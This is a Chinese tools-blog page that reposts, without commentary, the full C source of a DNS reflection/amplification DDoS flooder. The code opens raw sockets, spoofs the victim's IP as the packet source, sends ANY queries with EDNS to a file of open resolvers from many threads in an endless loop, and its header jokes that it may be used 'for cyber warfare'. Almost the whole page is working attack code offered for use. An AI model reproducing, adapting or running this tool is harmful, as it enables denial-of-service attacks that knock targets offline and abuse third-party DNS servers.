51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

dns 反射型DDOS攻击.c

/*
        This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
*/

#include \<time.h\>
#include \<pthread.h\>
#include \<unistd.h\>
#include \<stdio.h\>
#include \<stdlib.h\>
#include \<string.h\>
#include \<sys/socket.h\>
#include \<netinet/ip.h\>
#include \<netinet/udp.h\>
#include \<arpa/inet.h\>


#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 5


static uint32_t Q\[4096\], c = 362436;


struct list
{
struct sockaddr_in data;
char domain\[256\];
int line;
struct list \*next;
struct list \*prev;
};
struct list \*head;


struct thread_data{
int thread_id;
struct list \*list_node;
struct sockaddr_in sin;
int port;
};


struct DNS_HEADER
{
unsigned short id; // identification number


                unsigned char rd :1; // recursion desired
                unsigned char tc :1; // truncated message
                unsigned char aa :1; // authoritive answer
                unsigned char opcode :4; // purpose of message
                unsigned char qr :1; // query/response flag

                unsigned char rcode :4; // response code
                unsigned char cd :1; // checking disabled
                unsigned char ad :1; // authenticated data
                unsigned char z :1; // its z! reserved
                unsigned char ra :1; // recursion available

                unsigned short q_count; // number of question entries
                unsigned short ans_count; // number of answer entries
                unsigned short auth_count; // number of authority entries
                unsigned short add_count; // number of resource entries




};


//Constant sized fields of query structure
struct QUESTION
{
unsigned short qtype;
unsigned short qclass;
};


//Constant sized fields of the resource record structure
struct QUERY
{
unsigned char \*name;
struct QUESTION \*ques;
};


void ChangetoDnsNameFormat(unsigned char\* dns,unsigned char\* host)
{
int lock = 0 , i;
strcat((char\*)host,".");


                for(i = 0 ; i &lt; strlen((char*)host) ; i++)
                {
                                if(host[i]=='.')
                                {
                                                *dns++ = i-lock;
                                                for(;lock&lt;i;lock++)
                                                {
                                                                *dns++=host[lock];
                                                }
                                                lock++; //or lock=i+1;
                                }
                }
                *dns++='\0';




}


void init_rand(uint32_t x)
{
int i;


                Q[0] = x;
                Q[1] = x + PHI;
                Q[2] = x + PHI + PHI;

                for (i = 3; i &lt; 4096; i++)
                Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;




}


uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) \& 4095;
t = a \* Q\[i\] + c;
c = (t \>\> 32);
x = t + c;
if (x \< c) {
x++;
c++;
}
return (Q\[i\] = r - x);
}


/\* function for header checksums \*/
unsigned short csum (unsigned short \*buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords \> 0; nwords--)
sum += \*buf++;
sum = (sum \>\> 16) + (sum \& 0xffff);
sum += (sum \>\> 16);
return (unsigned short)(\~sum);
}


void setup_udp_header(struct udphdr \*udph)
{


}


void \*flood(void \*par1)
{
struct thread_data \*td = (struct thread_data \*)par1;


                fprintf(stdout, "Thread %d started\n", td-&gt;thread_id);

                char strPacket[MAX_PACKET_SIZE];
                int iPayloadSize = 0;

                struct sockaddr_in sin = td-&gt;sin;
                struct list *list_node = td-&gt;list_node;
                int iPort = td-&gt;port;

                int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
                if(s &lt; 0)
                {
                        fprintf(stderr, "Could not open raw socket. You need to be root!\n");
                        exit(-1);
                }

                //init random
                init_rand(time(NULL));

                // Clear the data
                memset(strPacket, 0, MAX_PACKET_SIZE);

                // Make the packet
                struct iphdr *iph = (struct iphdr *) &amp;strPacket;
                iph-&gt;ihl = 5;
                iph-&gt;version = 4;
                iph-&gt;tos = 0;
                iph-&gt;tot_len = sizeof(struct iphdr) + 38;
                iph-&gt;id = htonl(54321);
                iph-&gt;frag_off = 0;
                iph-&gt;ttl = MAXTTL;
                iph-&gt;protocol = IPPROTO_UDP;
                iph-&gt;check = 0;
                iph-&gt;saddr = inet_addr("192.168.3.100");

                iPayloadSize += sizeof(struct iphdr);

                struct udphdr *udph = (struct udphdr *) &amp;strPacket[iPayloadSize];
                udph-&gt;source = htons(iPort);
                udph-&gt;dest = htons(53);
                udph-&gt;check = 0;

                iPayloadSize += sizeof(struct udphdr);

                struct DNS_HEADER *dns  = (struct DNS_HEADER *) &amp;strPacket[iPayloadSize];
                dns-&gt;id = (unsigned short) htons(rand_cmwc());
                dns-&gt;qr = 0; //This is a query
                dns-&gt;opcode = 0; //This is a standard query
                dns-&gt;aa = 0; //Not Authoritative
                dns-&gt;tc = 0; //This message is not truncated
                dns-&gt;rd = 1; //Recursion Desired
                dns-&gt;ra = 0; //Recursion not available! hey we dont have it (lol)
                dns-&gt;z = 0;
                dns-&gt;ad = 0;
                dns-&gt;cd = 0;
                dns-&gt;rcode = 0;
                dns-&gt;q_count = htons(1); //we have only 1 question
                dns-&gt;ans_count = 0;
                dns-&gt;auth_count = 0;
                dns-&gt;add_count = htons(1);

                iPayloadSize += sizeof(struct DNS_HEADER);

                sin.sin_port = udph-&gt;source;
                iph-&gt;saddr = sin.sin_addr.s_addr;
                iph-&gt;daddr = list_node-&gt;data.sin_addr.s_addr;
                iph-&gt;check = csum ((unsigned short *) strPacket, iph-&gt;tot_len &gt;&gt; 1);

                char strDomain[256];
                int i;
                int iAdditionalSize = 0;
                while(1)
                {
                                                usleep(0);
                        //set the next node
                        list_node = list_node-&gt;next;

                        //Clear the old domain and question
                        memset(&amp;strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);

                        //add the chosen domain and question
                        iAdditionalSize = 0;

                        unsigned char *qname = (unsigned char*) &amp;strPacket[iPayloadSize + iAdditionalSize];

                        strcpy(strDomain, list_node-&gt;domain);
                        ChangetoDnsNameFormat(qname, strDomain);
                        //printf("!!%s %d\n", list_node-&gt;domain, list_node-&gt;line);

                        iAdditionalSize += strlen(qname) + 1;

                        struct QUESTION *qinfo = (struct QUESTION *) &amp;strPacket[iPayloadSize + iAdditionalSize];
                        qinfo-&gt;qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
                        qinfo-&gt;qclass = htons(1);

                        iAdditionalSize += sizeof(struct QUESTION);

                      void *edns = (void *) &amp;strPacket[iPayloadSize + iAdditionalSize];
                memset(edns+2, 0x29, 1);
                memset(edns+3, 0x23, 1);
                memset(edns+4, 0x28, 1);

                        iAdditionalSize += 11;

                        //set new node data
                        iph-&gt;daddr = list_node-&gt;data.sin_addr.s_addr;

                        udph-&gt;len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));
                        iph-&gt;tot_len = iPayloadSize + iAdditionalSize + 5;

                        udph-&gt;source = htons(rand_cmwc() &amp; 0xFFFF);
                        iph-&gt;check = csum ((unsigned short *) strPacket, iph-&gt;tot_len &gt;&gt; 1);

                        //send
                        for(i = 0; i &lt; PACKETS_PER_RESOLVER; i++)
                        {
                                sendto(s, strPacket, iph-&gt;tot_len, 0, (struct sockaddr *) &amp;list_node-&gt;data, sizeof(list_node-&gt;data));
                        }
                }




}


void ParseResolverLine(char \*strLine, int iLine)
{
char caIP\[32\] = "";
char caDNS\[512\] = "";


        int i;
        char buffer[512] = "";

        int moved = 0;

        for(i = 0; i &lt; strlen(strLine); i++)
        {
                if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
                {
                        moved++;
                        continue;
                }

                if(moved == 0)
                {
                        caIP[strlen(caIP)] = (char) strLine[i];
                }
                else if(moved == 1)
                {
                        caDNS[strlen(caDNS)] = (char) strLine[i];
                }
        }

        //printf("Found resolver %s, domain %s!\n", caIP, caDNS);

        if(head == NULL)
        {
                head = (struct list *)malloc(sizeof(struct list));

                bzero(&amp;head-&gt;data, sizeof(head-&gt;data));

                head-&gt;data.sin_addr.s_addr=inet_addr(caIP);
                head-&gt;data.sin_port=htons(53);
                strcpy(head-&gt;domain, caDNS);
                head-&gt;line = iLine;
                head-&gt;next = head;
                head-&gt;prev = head;
        }
        else
        {
                struct list *new_node = (struct list *)malloc(sizeof(struct list));

                memset(new_node, 0x00, sizeof(struct list));

                new_node-&gt;data.sin_addr.s_addr=inet_addr(caIP);
                new_node-&gt;data.sin_port=htons(53);
                strcpy(new_node-&gt;domain, caDNS);
                new_node-&gt;prev = head;
                head-&gt;line = iLine;
                new_node-&gt;next = head-&gt;next;
                head-&gt;next = new_node;
        }




}


int main(int argc, char \*argv\[ \])
{
if(argc \< 4)
{
fprintf(stderr, "Invalid parameters!\\n");
fprintf(stdout, "\\nUsage: %s \<target IP/hostname\> \<port to hit\> \<reflection file\> \<number threads to use\> \<time\>\\n", argv\[0\]);
exit(-1);
}


        head = NULL;

        char *strLine = (char *) malloc(256);
        strLine = memset(strLine, 0x00, 256);

        char strIP[32] = "";
        char strDomain[256] = "";

        int iLine = 0; // 0 = ip, 1 = domain.

        FILE *list_fd = fopen(argv[3],  "r");
        while(fgets(strLine, 256, list_fd) != NULL)
        {
                ParseResolverLine(strLine, iLine);
                iLine++;
        }

        int i = 0;
        int num_threads = atoi(argv[4]);

        struct list *current = head-&gt;next;
        pthread_t thread[num_threads];
        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(0);
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        struct thread_data td[num_threads];

        int iPort = atoi(argv[2]);

                printf("Flooding %s\n", argv[1], iPort);

        for(i = 0; i &lt; num_threads; i++)
        {
                td[i].thread_id = i;
                td[i].sin= sin;
                td[i].list_node = current;
                td[i].port = iPort;
                pthread_create( &amp;thread[i], NULL, &amp;flood, (void *) &amp;td[i]);
        }

        fprintf(stdout, "Starting Flood...\n");

        if(argc &gt; 4)
        {
                sleep(atoi(argv[5]));
        }
        else
        {
                while(1)
                {
                        sleep(1);
                }
        }

        return 0;



`}`

赞(0)
未经允许不得转载:工具盒子 » dns 反射型DDOS攻击.c